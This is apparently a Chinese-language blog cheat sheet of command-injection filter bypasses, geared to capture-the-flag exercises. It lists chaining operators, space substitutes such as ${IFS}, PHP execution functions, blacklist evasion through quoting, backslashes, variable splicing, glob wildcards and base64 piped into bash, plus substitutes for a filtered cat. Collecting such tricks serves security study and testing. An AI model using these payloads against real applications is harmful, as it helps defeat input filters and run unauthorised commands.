命令执行绕过小技巧
管道符
windows 下:
- | 直接执行后面的语句
- || 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
- & 前面和后面命令都要执行,无论前面真假
- && 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下:
- ; 前面和后面命令都要执行,无论前面真假
- | 直接执行后面的语句
- || 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
- & 前面和后面命令都要执行,无论前面真假
- && 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
空格绕过
- > < <> 重定向符
- %09(需要php环境)
- ${IFS}
- $IFS$9
- {cat,flag.php} //用逗号实现了空格功能
- %20
- %09
命令执行函数
- system()
- passthru()
- exec()
- shell_exec()
- popen()
- proc_open()
- pcntl_exec()
- 反引号 同shell_exec()
黑名单绕过
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
echo “Y2F0IGZsYWc=”|base64 -d
echo “Y2F0IGZsYWc=”|base64 -d|bash (在bash被过滤的情况下可尝试sh)
单引号、双引号
c””at fl’’ag
反斜线
c\at fl\ag
正则 (假设/bin/cat: test: 是一个目录)
/???/?[a][t] ?’’?’’?’’?’’
/???/?at ????
/???/?[a]’’[t] ?’’?’’?’’?’’
$1、$2等和$@
- $# 是传给脚本的参数个数
- $0 是脚本本身的名字
- $1 是传递给该shell脚本的第一个参数
- $2 是传递给该shell脚本的第二个参数
- $@ 是传给脚本的所有参数的列表
- $* 是以一个单字符串显示所有向脚本传递的参数,与位置变量不同,参数可超过9个
- $$ 是脚本运行的当前进程ID号
- $? 是显示最后命令的退出状态,0表示没有错误,其他表示有错误
cat被过滤
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
内敛执行
cat$IFS$9
ls
cat$IFS$9$(ls)
(内联,就是将``或$()内命令的输出作为输入执行)
命令执行绕过小技巧
http://example.com/2023/04/19/minlinzhixinraoguo/